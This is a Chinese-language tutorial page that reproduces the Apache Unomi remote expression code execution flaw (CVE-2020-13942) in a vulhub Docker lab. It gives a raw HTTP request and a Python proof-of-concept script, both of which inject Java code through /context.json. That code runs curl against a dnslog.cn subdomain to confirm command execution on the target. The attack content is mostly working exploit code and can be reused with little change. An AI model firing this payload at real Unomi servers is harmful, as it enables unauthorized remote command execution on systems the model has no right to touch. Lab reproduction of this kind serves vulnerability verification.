栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

Apache Unomi 远程表达式代码执行漏洞(CVE-2020-13942),python编写POC

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Apache Unomi 远程表达式代码执行漏洞(CVE-2020-13942),python编写POC

环境搭建:

使用vulhub,进入对应文件夹启动环境:

[root@localhost /]# cd /home/vulhub/unomi/CVE-2020-13942/
[root@localhost CVE-2020-13942]# docker-compose up -d

查看端口:
[root@localhost CVE-2020-13942]# docker ps
ConTAINER ID   IMAGE                 COMMAND                  CREATED          STATUS          PORTS                                                                                  NAMES
90f4b717eb3f   vulhub/unomi:1.5.1    "/docker-entrypoint.…"   23 minutes ago   Up 23 minutes   0.0.0.0:8181->8181/tcp, :::8181->8181/tcp, 0.0.0.0:9443->9443/tcp, :::9443->9443/tcp   cve-2020-13942_web_1
5c2f2cf5bc14   elasticsearch:7.9.3   "/tini -- /usr/local…"   23 minutes ago   Up 23 minutes   9200/tcp, 9300/tcp                                                                     cve-2020-13942_elasticsearch_1
[root@localhost CVE-2020-13942]#

漏洞复现:
POST /context.json HTTP/1.1
Host: 192.168.10.10:8181
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 494

{
    "filters": [
        {
            "id": "sample",
            "filters": [
                {
                    "condition": {
                         "parameterValues": {
                            "": "script::Runtime r = Runtime.getRuntime(); r.exec("curl 1c6p9a.dnslog.cn
");"
                        },
                        "type": "profilePropertyCondition"
                    }
                }
            ]
        }
    ],
    "sessionId": "sample"
}

使用请求dnslog的方式验证命令执行结果。

POC编写:
import requests,random,time

url = "http://192.168.10.10:8181/"

session = requests.session() # 维持session
dnslog = session.get(f"http://www.dnslog.cn/getdomain.php?t={str(random.random())}").text  # 获取一个子域名

json={"filters": [{"filters": [{"condition": {"parameterValues": {"": f"script::Runtime r = Runtime.getRuntime(); r.exec("curl {dnslog}r");"}, "type": "profilePropertyCondition"}}], "id": "sample"}], "sessionId": "sample"}
requests.post(url + "context.json",  json=json)
time.sleep(2)

dnslog_res = session.get(f"http://www.dnslog.cn/getrecords.php?t={str(random.random())}").text # 获取这个子域名被请求的结果
if dnslog in dnslog_res:
    print("CVE-2020-13942")

pycharm运行结果:

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/300407.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号